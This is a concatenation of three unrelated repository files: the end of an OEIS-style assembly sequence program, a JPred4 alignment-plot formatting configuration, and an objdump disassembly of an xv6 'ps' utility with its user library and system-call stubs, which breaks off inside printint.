seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $4,$0
mul $5,$3
add $6,2
mov $1,$6
max $4,0
cmp $4,$0
mul $2,$4
add $7,5
add $5,$7
add $5,1
lpe
sub $1,2
div $1,2
mul $1,5
add $1,2
mov $0,$1
|
data/jpred4/jp_batch_1613899824__Dza5uQ3/jp_batch_1613899824__Dza5uQ3.als | jonriege/predict-protein-structure | 0 | 4788 | <reponame>jonriege/predict-protein-structure
SILENT_MODE
BLOCK_FILE jp_batch_1613899824__Dza5uQ3.concise.blc
MAX_NSEQ 647
MAX_INPUT_LEN 649
OUTPUT_FILE jp_batch_1613899824__Dza5uQ3.concise.ps
PORTRAIT
POINTSIZE 8
IDENT_WIDTH 12
X_OFFSET 2
Y_OFFSET 2
DEFINE_FONT 0 Helvetica DEFAULT
DEFINE_FONT 1 Helvetica REL 0.75
DEFINE_FONT 7 Helvetica REL 0.6
DEFINE_FONT 3 Helvetica-Bold DEFAULT
DEFINE_FONT 4 Times-Bold DEFAULT
DEFINE_FONT 5 Helvetica-BoldOblique DEFAULT
#
DEFINE_COLOUR 3 1 0.62 0.67 # Turquiose
DEFINE_COLOUR 4 1 1 0 # Yellow
DEFINE_COLOUR 5 1 0 0 # Red
DEFINE_COLOUR 7 1 0 1 # Purple
DEFINE_COLOUR 8 0 0 1 # Blue
DEFINE_COLOUR 9 0 1 0 # Green
DEFINE_COLOUR 10 0.41 0.64 1.00 # Pale blue
DEFINE_COLOUR 11 0.41 0.82 0.67 # Pale green
DEFINE_COLOUR 50 0.69 0.18 0.37 # Pink (helix)
DEFINE_COLOUR 51 1.00 0.89 0.00 # Gold (strand)
NUMBER_INT 10
SETUP
#
# Highlight specific residues.
# Avoid highlighting Lupas 'C' predictions by
# limiting the highlighting to the alignments
Scol_CHARS C 1 1 35 636 4
Ccol_CHARS H ALL 5
Ccol_CHARS P ALL 8
SURROUND_CHARS LIV ALL
#
# Replace known structure types with whitespace
SUB_CHARS 1 637 35 646 H SPACE
SUB_CHARS 1 637 35 646 E SPACE
SUB_CHARS 1 637 35 646 - SPACE
STRAND 5 640 8
COLOUR_TEXT_REGION 5 640 8 640 51
STRAND 12 640 18
COLOUR_TEXT_REGION 12 640 18 640 51
STRAND 24 640 30
COLOUR_TEXT_REGION 24 640 30 640 51
STRAND 5 645 8
COLOUR_TEXT_REGION 5 645 8 645 51
STRAND 12 645 18
COLOUR_TEXT_REGION 12 645 18 645 51
STRAND 24 645 30
COLOUR_TEXT_REGION 24 645 30 645 51
STRAND 4 646 8
COLOUR_TEXT_REGION 4 646 8 646 51
STRAND 12 646 18
COLOUR_TEXT_REGION 12 646 18 646 51
STRAND 24 646 30
COLOUR_TEXT_REGION 24 646 30 646 51
|
ps.asm | B10401023/xv6 | 0 | 102951 |
_ps: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
int ctime;
char name[16]; // Process name
};
int
main(int argc, char *argv[]){
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
struct proc ptable[NPROC];
struct proc *p;
int err;
err = getptable(NPROC * sizeof(struct proc), &ptable);
10: 8d 85 e8 f5 ff ff lea -0xa18(%ebp),%eax
int ctime;
char name[16]; // Process name
};
int
main(int argc, char *argv[]){
16: 81 ec 14 0a 00 00 sub $0xa14,%esp
struct proc ptable[NPROC];
struct proc *p;
int err;
err = getptable(NPROC * sizeof(struct proc), &ptable);
1c: 50 push %eax
1d: 68 00 0a 00 00 push $0xa00
22: e8 9b 04 00 00 call 4c2 <getptable>
if (err) {
27: 83 c4 10 add $0x10,%esp
2a: 85 c0 test %eax,%eax
2c: 74 13 je 41 <main+0x41>
printf(1,"Error getting ptable");
2e: 51 push %ecx
2f: 51 push %ecx
30: 68 c0 08 00 00 push $0x8c0
35: 6a 01 push $0x1
37: e8 64 05 00 00 call 5a0 <printf>
exit();
3c: e8 e1 03 00 00 call 422 <exit>
}
printf(1, "PID\t\tPPID\t\tSTATE\t\tPRIORITY\tTICKETS\t\tCPUTIME\t\tCMD\n");
41: 52 push %edx
42: 52 push %edx
43: 8d 9d 00 f6 ff ff lea -0xa00(%ebp),%ebx
49: 68 28 09 00 00 push $0x928
4e: 6a 01 push $0x1
50: 8d 75 d8 lea -0x28(%ebp),%esi
53: e8 48 05 00 00 call 5a0 <printf>
58: 83 c4 10 add $0x10,%esp
5b: 90 nop
5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable; p != &ptable[NPROC-1]; p++) {
if (p->state == UNUSED) continue;
60: 8b 43 e8 mov -0x18(%ebx),%eax
63: 85 c0 test %eax,%eax
65: 0f 84 9e 00 00 00 je 109 <main+0x109>
// init does not have ppid!
if (p->pid == 1)
6b: 8b 43 ec mov -0x14(%ebx),%eax
6e: 83 f8 01 cmp $0x1,%eax
71: 0f 84 49 01 00 00 je 1c0 <main+0x1c0>
printf(1, "%d\t\tN/A",p->pid);
else
printf(1, "%d\t\t%d", p->pid, p->ppid);
77: ff 73 f0 pushl -0x10(%ebx)
7a: 50 push %eax
7b: 68 dd 08 00 00 push $0x8dd
80: 6a 01 push $0x1
82: e8 19 05 00 00 call 5a0 <printf>
87: 83 c4 10 add $0x10,%esp
switch(p->state){
8a: 83 7b e8 05 cmpl $0x5,-0x18(%ebx)
8e: 77 30 ja c0 <main+0xc0>
90: 8b 43 e8 mov -0x18(%ebx),%eax
93: ff 24 85 5c 09 00 00 jmp *0x95c(,%eax,4)
9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
break;
case RUNNABLE:
printf(1,"\t\t%s", "RUNNABLE");
break;
case RUNNING:
printf(1,"\t\t%s", "RUNNING ");
a0: 83 ec 04 sub $0x4,%esp
a3: 68 0d 09 00 00 push $0x90d
a8: 68 ed 08 00 00 push $0x8ed
ad: 6a 01 push $0x1
af: e8 ec 04 00 00 call 5a0 <printf>
break;
b4: 83 c4 10 add $0x10,%esp
b7: 89 f6 mov %esi,%esi
b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
case ZOMBIE:
printf(1,"\t\t%s", "ZOMBIE ");
break;
}
printf(1, "\t%d", p->priority);
c0: 83 ec 04 sub $0x4,%esp
c3: ff 73 f4 pushl -0xc(%ebx)
c6: 68 e0 08 00 00 push $0x8e0
cb: 6a 01 push $0x1
cd: e8 ce 04 00 00 call 5a0 <printf>
printf(1, "\t\t%d", p->tickets);
d2: 83 c4 0c add $0xc,%esp
d5: ff 73 f8 pushl -0x8(%ebx)
d8: 68 df 08 00 00 push $0x8df
dd: 6a 01 push $0x1
df: e8 bc 04 00 00 call 5a0 <printf>
printf(1, "\t\t%d", p->ctime);
e4: 83 c4 0c add $0xc,%esp
e7: ff 73 fc pushl -0x4(%ebx)
ea: 68 df 08 00 00 push $0x8df
ef: 6a 01 push $0x1
f1: e8 aa 04 00 00 call 5a0 <printf>
printf(1,"\t\t%s\n", p->name);
f6: 83 c4 0c add $0xc,%esp
f9: 53 push %ebx
fa: 68 1f 09 00 00 push $0x91f
ff: 6a 01 push $0x1
101: e8 9a 04 00 00 call 5a0 <printf>
106: 83 c4 10 add $0x10,%esp
109: 83 c3 28 add $0x28,%ebx
printf(1,"Error getting ptable");
exit();
}
printf(1, "PID\t\tPPID\t\tSTATE\t\tPRIORITY\tTICKETS\t\tCPUTIME\t\tCMD\n");
for(p = ptable; p != &ptable[NPROC-1]; p++) {
10c: 39 f3 cmp %esi,%ebx
10e: 0f 85 4c ff ff ff jne 60 <main+0x60>
printf(1, "\t%d", p->priority);
printf(1, "\t\t%d", p->tickets);
printf(1, "\t\t%d", p->ctime);
printf(1,"\t\t%s\n", p->name);
}
exit();
114: e8 09 03 00 00 call 422 <exit>
119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
case RUNNING:
printf(1,"\t\t%s", "RUNNING ");
break;
case ZOMBIE:
printf(1,"\t\t%s", "ZOMBIE ");
120: 83 ec 04 sub $0x4,%esp
123: 68 16 09 00 00 push $0x916
128: 68 ed 08 00 00 push $0x8ed
12d: 6a 01 push $0x1
12f: e8 6c 04 00 00 call 5a0 <printf>
break;
134: 83 c4 10 add $0x10,%esp
137: eb 87 jmp c0 <main+0xc0>
139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
case SLEEPING:
printf(1,"\t\t%s", "SLEEPING");
break;
case RUNNABLE:
printf(1,"\t\t%s", "RUNNABLE");
140: 83 ec 04 sub $0x4,%esp
143: 68 04 09 00 00 push $0x904
148: 68 ed 08 00 00 push $0x8ed
14d: 6a 01 push $0x1
14f: e8 4c 04 00 00 call 5a0 <printf>
break;
154: 83 c4 10 add $0x10,%esp
157: e9 64 ff ff ff jmp c0 <main+0xc0>
15c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
break;
case EMBRYO:
printf(1,"\t\t%s", "EMBRYO ");
break;
case SLEEPING:
printf(1,"\t\t%s", "SLEEPING");
160: 83 ec 04 sub $0x4,%esp
163: 68 fb 08 00 00 push $0x8fb
168: 68 ed 08 00 00 push $0x8ed
16d: 6a 01 push $0x1
16f: e8 2c 04 00 00 call 5a0 <printf>
break;
174: 83 c4 10 add $0x10,%esp
177: e9 44 ff ff ff jmp c0 <main+0xc0>
17c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
switch(p->state){
case UNUSED:
printf(1,"\t\t%s", "UNUSED ");
break;
case EMBRYO:
printf(1,"\t\t%s", "EMBRYO ");
180: 83 ec 04 sub $0x4,%esp
183: 68 f2 08 00 00 push $0x8f2
188: 68 ed 08 00 00 push $0x8ed
18d: 6a 01 push $0x1
18f: e8 0c 04 00 00 call 5a0 <printf>
break;
194: 83 c4 10 add $0x10,%esp
197: e9 24 ff ff ff jmp c0 <main+0xc0>
19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
else
printf(1, "%d\t\t%d", p->pid, p->ppid);
switch(p->state){
case UNUSED:
printf(1,"\t\t%s", "UNUSED ");
1a0: 83 ec 04 sub $0x4,%esp
1a3: 68 e4 08 00 00 push $0x8e4
1a8: 68 ed 08 00 00 push $0x8ed
1ad: 6a 01 push $0x1
1af: e8 ec 03 00 00 call 5a0 <printf>
break;
1b4: 83 c4 10 add $0x10,%esp
1b7: e9 04 ff ff ff jmp c0 <main+0xc0>
1bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable; p != &ptable[NPROC-1]; p++) {
if (p->state == UNUSED) continue;
// init does not have ppid!
if (p->pid == 1)
printf(1, "%d\t\tN/A",p->pid);
1c0: 83 ec 04 sub $0x4,%esp
1c3: 6a 01 push $0x1
1c5: 68 d5 08 00 00 push $0x8d5
1ca: 6a 01 push $0x1
1cc: e8 cf 03 00 00 call 5a0 <printf>
1d1: 83 c4 10 add $0x10,%esp
1d4: e9 b1 fe ff ff jmp 8a <main+0x8a>
1d9: 66 90 xchg %ax,%ax
1db: 66 90 xchg %ax,%ax
1dd: 66 90 xchg %ax,%ax
1df: 90 nop
000001e0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 53 push %ebx
1e4: 8b 45 08 mov 0x8(%ebp),%eax
1e7: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
1ea: 89 c2 mov %eax,%edx
1ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1f0: 83 c1 01 add $0x1,%ecx
1f3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
1f7: 83 c2 01 add $0x1,%edx
1fa: 84 db test %bl,%bl
1fc: 88 5a ff mov %bl,-0x1(%edx)
1ff: 75 ef jne 1f0 <strcpy+0x10>
;
return os;
}
201: 5b pop %ebx
202: 5d pop %ebp
203: c3 ret
204: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
20a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000210 <strcmp>:
int
strcmp(const char *p, const char *q)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 56 push %esi
214: 53 push %ebx
215: 8b 55 08 mov 0x8(%ebp),%edx
218: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
21b: 0f b6 02 movzbl (%edx),%eax
21e: 0f b6 19 movzbl (%ecx),%ebx
221: 84 c0 test %al,%al
223: 75 1e jne 243 <strcmp+0x33>
225: eb 29 jmp 250 <strcmp+0x40>
227: 89 f6 mov %esi,%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
230: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
233: 0f b6 02 movzbl (%edx),%eax
p++, q++;
236: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
239: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
23d: 84 c0 test %al,%al
23f: 74 0f je 250 <strcmp+0x40>
241: 89 f1 mov %esi,%ecx
243: 38 d8 cmp %bl,%al
245: 74 e9 je 230 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
247: 29 d8 sub %ebx,%eax
}
249: 5b pop %ebx
24a: 5e pop %esi
24b: 5d pop %ebp
24c: c3 ret
24d: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
250: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
252: 29 d8 sub %ebx,%eax
}
254: 5b pop %ebx
255: 5e pop %esi
256: 5d pop %ebp
257: c3 ret
258: 90 nop
259: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000260 <strlen>:
uint
strlen(char *s)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
266: 80 39 00 cmpb $0x0,(%ecx)
269: 74 12 je 27d <strlen+0x1d>
26b: 31 d2 xor %edx,%edx
26d: 8d 76 00 lea 0x0(%esi),%esi
270: 83 c2 01 add $0x1,%edx
273: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
277: 89 d0 mov %edx,%eax
279: 75 f5 jne 270 <strlen+0x10>
;
return n;
}
27b: 5d pop %ebp
27c: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
27d: 31 c0 xor %eax,%eax
;
return n;
}
27f: 5d pop %ebp
280: c3 ret
281: eb 0d jmp 290 <memset>
283: 90 nop
284: 90 nop
285: 90 nop
286: 90 nop
287: 90 nop
288: 90 nop
289: 90 nop
28a: 90 nop
28b: 90 nop
28c: 90 nop
28d: 90 nop
28e: 90 nop
28f: 90 nop
00000290 <memset>:
void*
memset(void *dst, int c, uint n)
{
290: 55 push %ebp
291: 89 e5 mov %esp,%ebp
293: 57 push %edi
294: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
297: 8b 4d 10 mov 0x10(%ebp),%ecx
29a: 8b 45 0c mov 0xc(%ebp),%eax
29d: 89 d7 mov %edx,%edi
29f: fc cld
2a0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
2a2: 89 d0 mov %edx,%eax
2a4: 5f pop %edi
2a5: 5d pop %ebp
2a6: c3 ret
2a7: 89 f6 mov %esi,%esi
2a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002b0 <strchr>:
char*
strchr(const char *s, char c)
{
2b0: 55 push %ebp
2b1: 89 e5 mov %esp,%ebp
2b3: 53 push %ebx
2b4: 8b 45 08 mov 0x8(%ebp),%eax
2b7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
2ba: 0f b6 10 movzbl (%eax),%edx
2bd: 84 d2 test %dl,%dl
2bf: 74 1d je 2de <strchr+0x2e>
if(*s == c)
2c1: 38 d3 cmp %dl,%bl
2c3: 89 d9 mov %ebx,%ecx
2c5: 75 0d jne 2d4 <strchr+0x24>
2c7: eb 17 jmp 2e0 <strchr+0x30>
2c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2d0: 38 ca cmp %cl,%dl
2d2: 74 0c je 2e0 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
2d4: 83 c0 01 add $0x1,%eax
2d7: 0f b6 10 movzbl (%eax),%edx
2da: 84 d2 test %dl,%dl
2dc: 75 f2 jne 2d0 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
2de: 31 c0 xor %eax,%eax
}
2e0: 5b pop %ebx
2e1: 5d pop %ebp
2e2: c3 ret
2e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002f0 <gets>:
char*
gets(char *buf, int max)
{
2f0: 55 push %ebp
2f1: 89 e5 mov %esp,%ebp
2f3: 57 push %edi
2f4: 56 push %esi
2f5: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
2f6: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
2f8: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
2fb: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
2fe: eb 29 jmp 329 <gets+0x39>
cc = read(0, &c, 1);
300: 83 ec 04 sub $0x4,%esp
303: 6a 01 push $0x1
305: 57 push %edi
306: 6a 00 push $0x0
308: e8 2d 01 00 00 call 43a <read>
if(cc < 1)
30d: 83 c4 10 add $0x10,%esp
310: 85 c0 test %eax,%eax
312: 7e 1d jle 331 <gets+0x41>
break;
buf[i++] = c;
314: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
318: 8b 55 08 mov 0x8(%ebp),%edx
31b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
31d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
31f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
323: 74 1b je 340 <gets+0x50>
325: 3c 0d cmp $0xd,%al
327: 74 17 je 340 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
329: 8d 5e 01 lea 0x1(%esi),%ebx
32c: 3b 5d 0c cmp 0xc(%ebp),%ebx
32f: 7c cf jl 300 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
331: 8b 45 08 mov 0x8(%ebp),%eax
334: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
338: 8d 65 f4 lea -0xc(%ebp),%esp
33b: 5b pop %ebx
33c: 5e pop %esi
33d: 5f pop %edi
33e: 5d pop %ebp
33f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
340: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
343: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
345: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
349: 8d 65 f4 lea -0xc(%ebp),%esp
34c: 5b pop %ebx
34d: 5e pop %esi
34e: 5f pop %edi
34f: 5d pop %ebp
350: c3 ret
351: eb 0d jmp 360 <stat>
353: 90 nop
354: 90 nop
355: 90 nop
356: 90 nop
357: 90 nop
358: 90 nop
359: 90 nop
35a: 90 nop
35b: 90 nop
35c: 90 nop
35d: 90 nop
35e: 90 nop
35f: 90 nop
00000360 <stat>:
int
stat(char *n, struct stat *st)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 56 push %esi
364: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
365: 83 ec 08 sub $0x8,%esp
368: 6a 00 push $0x0
36a: ff 75 08 pushl 0x8(%ebp)
36d: e8 f0 00 00 00 call 462 <open>
if(fd < 0)
372: 83 c4 10 add $0x10,%esp
375: 85 c0 test %eax,%eax
377: 78 27 js 3a0 <stat+0x40>
return -1;
r = fstat(fd, st);
379: 83 ec 08 sub $0x8,%esp
37c: ff 75 0c pushl 0xc(%ebp)
37f: 89 c3 mov %eax,%ebx
381: 50 push %eax
382: e8 f3 00 00 00 call 47a <fstat>
387: 89 c6 mov %eax,%esi
close(fd);
389: 89 1c 24 mov %ebx,(%esp)
38c: e8 b9 00 00 00 call 44a <close>
return r;
391: 83 c4 10 add $0x10,%esp
394: 89 f0 mov %esi,%eax
}
396: 8d 65 f8 lea -0x8(%ebp),%esp
399: 5b pop %ebx
39a: 5e pop %esi
39b: 5d pop %ebp
39c: c3 ret
39d: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
3a0: b8 ff ff ff ff mov $0xffffffff,%eax
3a5: eb ef jmp 396 <stat+0x36>
3a7: 89 f6 mov %esi,%esi
3a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003b0 <atoi>:
return r;
}
int
atoi(const char *s)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 53 push %ebx
3b4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
3b7: 0f be 11 movsbl (%ecx),%edx
3ba: 8d 42 d0 lea -0x30(%edx),%eax
3bd: 3c 09 cmp $0x9,%al
3bf: b8 00 00 00 00 mov $0x0,%eax
3c4: 77 1f ja 3e5 <atoi+0x35>
3c6: 8d 76 00 lea 0x0(%esi),%esi
3c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
3d0: 8d 04 80 lea (%eax,%eax,4),%eax
3d3: 83 c1 01 add $0x1,%ecx
3d6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3da: 0f be 11 movsbl (%ecx),%edx
3dd: 8d 5a d0 lea -0x30(%edx),%ebx
3e0: 80 fb 09 cmp $0x9,%bl
3e3: 76 eb jbe 3d0 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
3e5: 5b pop %ebx
3e6: 5d pop %ebp
3e7: c3 ret
3e8: 90 nop
3e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000003f0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 56 push %esi
3f4: 53 push %ebx
3f5: 8b 5d 10 mov 0x10(%ebp),%ebx
3f8: 8b 45 08 mov 0x8(%ebp),%eax
3fb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3fe: 85 db test %ebx,%ebx
400: 7e 14 jle 416 <memmove+0x26>
402: 31 d2 xor %edx,%edx
404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
408: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
40c: 88 0c 10 mov %cl,(%eax,%edx,1)
40f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
412: 39 da cmp %ebx,%edx
414: 75 f2 jne 408 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
416: 5b pop %ebx
417: 5e pop %esi
418: 5d pop %ebp
419: c3 ret
0000041a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
41a: b8 01 00 00 00 mov $0x1,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <exit>:
SYSCALL(exit)
422: b8 02 00 00 00 mov $0x2,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <wait>:
SYSCALL(wait)
42a: b8 03 00 00 00 mov $0x3,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <pipe>:
SYSCALL(pipe)
432: b8 04 00 00 00 mov $0x4,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <read>:
SYSCALL(read)
43a: b8 05 00 00 00 mov $0x5,%eax
43f: cd 40 int $0x40
441: c3 ret
00000442 <write>:
SYSCALL(write)
442: b8 10 00 00 00 mov $0x10,%eax
447: cd 40 int $0x40
449: c3 ret
0000044a <close>:
SYSCALL(close)
44a: b8 15 00 00 00 mov $0x15,%eax
44f: cd 40 int $0x40
451: c3 ret
00000452 <kill>:
SYSCALL(kill)
452: b8 06 00 00 00 mov $0x6,%eax
457: cd 40 int $0x40
459: c3 ret
0000045a <exec>:
SYSCALL(exec)
45a: b8 07 00 00 00 mov $0x7,%eax
45f: cd 40 int $0x40
461: c3 ret
00000462 <open>:
SYSCALL(open)
462: b8 0f 00 00 00 mov $0xf,%eax
467: cd 40 int $0x40
469: c3 ret
0000046a <mknod>:
SYSCALL(mknod)
46a: b8 11 00 00 00 mov $0x11,%eax
46f: cd 40 int $0x40
471: c3 ret
00000472 <unlink>:
SYSCALL(unlink)
472: b8 12 00 00 00 mov $0x12,%eax
477: cd 40 int $0x40
479: c3 ret
0000047a <fstat>:
SYSCALL(fstat)
47a: b8 08 00 00 00 mov $0x8,%eax
47f: cd 40 int $0x40
481: c3 ret
00000482 <link>:
SYSCALL(link)
482: b8 13 00 00 00 mov $0x13,%eax
487: cd 40 int $0x40
489: c3 ret
0000048a <mkdir>:
SYSCALL(mkdir)
48a: b8 14 00 00 00 mov $0x14,%eax
48f: cd 40 int $0x40
491: c3 ret
00000492 <chdir>:
SYSCALL(chdir)
492: b8 09 00 00 00 mov $0x9,%eax
497: cd 40 int $0x40
499: c3 ret
0000049a <dup>:
SYSCALL(dup)
49a: b8 0a 00 00 00 mov $0xa,%eax
49f: cd 40 int $0x40
4a1: c3 ret
000004a2 <getpid>:
SYSCALL(getpid)
4a2: b8 0b 00 00 00 mov $0xb,%eax
4a7: cd 40 int $0x40
4a9: c3 ret
000004aa <sbrk>:
SYSCALL(sbrk)
4aa: b8 0c 00 00 00 mov $0xc,%eax
4af: cd 40 int $0x40
4b1: c3 ret
000004b2 <sleep>:
SYSCALL(sleep)
4b2: b8 0d 00 00 00 mov $0xd,%eax
4b7: cd 40 int $0x40
4b9: c3 ret
000004ba <uptime>:
SYSCALL(uptime)
4ba: b8 0e 00 00 00 mov $0xe,%eax
4bf: cd 40 int $0x40
4c1: c3 ret
000004c2 <getptable>:
SYSCALL(getptable)
4c2: b8 16 00 00 00 mov $0x16,%eax
4c7: cd 40 int $0x40
4c9: c3 ret
000004ca <getppid>:
SYSCALL(getppid)
4ca: b8 17 00 00 00 mov $0x17,%eax
4cf: cd 40 int $0x40
4d1: c3 ret
000004d2 <chpr>:
SYSCALL(chpr)
4d2: b8 18 00 00 00 mov $0x18,%eax
4d7: cd 40 int $0x40
4d9: c3 ret
000004da <wait2>:
SYSCALL(wait2)
4da: b8 19 00 00 00 mov $0x19,%eax
4df: cd 40 int $0x40
4e1: c3 ret
000004e2 <yield>:
SYSCALL(yield)
4e2: b8 1a 00 00 00 mov $0x1a,%eax
4e7: cd 40 int $0x40
4e9: c3 ret
000004ea <chtickets>:
SYSCALL(chtickets)
4ea: b8 1b 00 00 00 mov $0x1b,%eax
4ef: cd 40 int $0x40
4f1: c3 ret
4f2: 66 90 xchg %ax,%ax
4f4: 66 90 xchg %ax,%ax
4f6: 66 90 xchg %ax,%ax
4f8: 66 90 xchg %ax,%ax
4fa: 66 90 xchg %ax,%ax
4fc: 66 90 xchg %ax,%ax
4fe: 66 90 xchg %ax,%ax
00000500 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
500: 55 push %ebp
501: 89 e5 mov %esp,%ebp
503: 57 push %edi
504: 56 push %esi
505: 53 push %ebx
506: 89 c6 mov %eax,%esi
508: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
50b: 8b 5d 08 mov 0x8(%ebp),%ebx
50e: 85 db test %ebx,%ebx
510: 74 7e je 590 <printint+0x90>
512: 89 d0 mov %edx,%eax
514: c1 e8 1f shr $0x1f,%eax
517: 84 c0 test %al,%al
519: 74 75 je 590 <printint+0x90>
neg = 1;
x = -xx;
51b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
51d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
524: f7 d8 neg %eax
526: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
529: 31 ff xor %edi,%edi
52b: 8d 5d d7 lea -0x29(%ebp),%ebx
52e: 89 ce mov %ecx,%esi
530: eb 08 jmp 53a <printint+0x3a>
532: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
538: 89 cf mov %ecx,%edi
53a: 31 d2 xor %edx,%edx
53c: 8d 4f 01 lea 0x1(%edi),%ecx
53f: f7 f6 div %esi
541: 0f b6 92 7c 09 00 00 movzbl 0x97c(%edx),%edx
}while((x /= base) != 0);
548: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
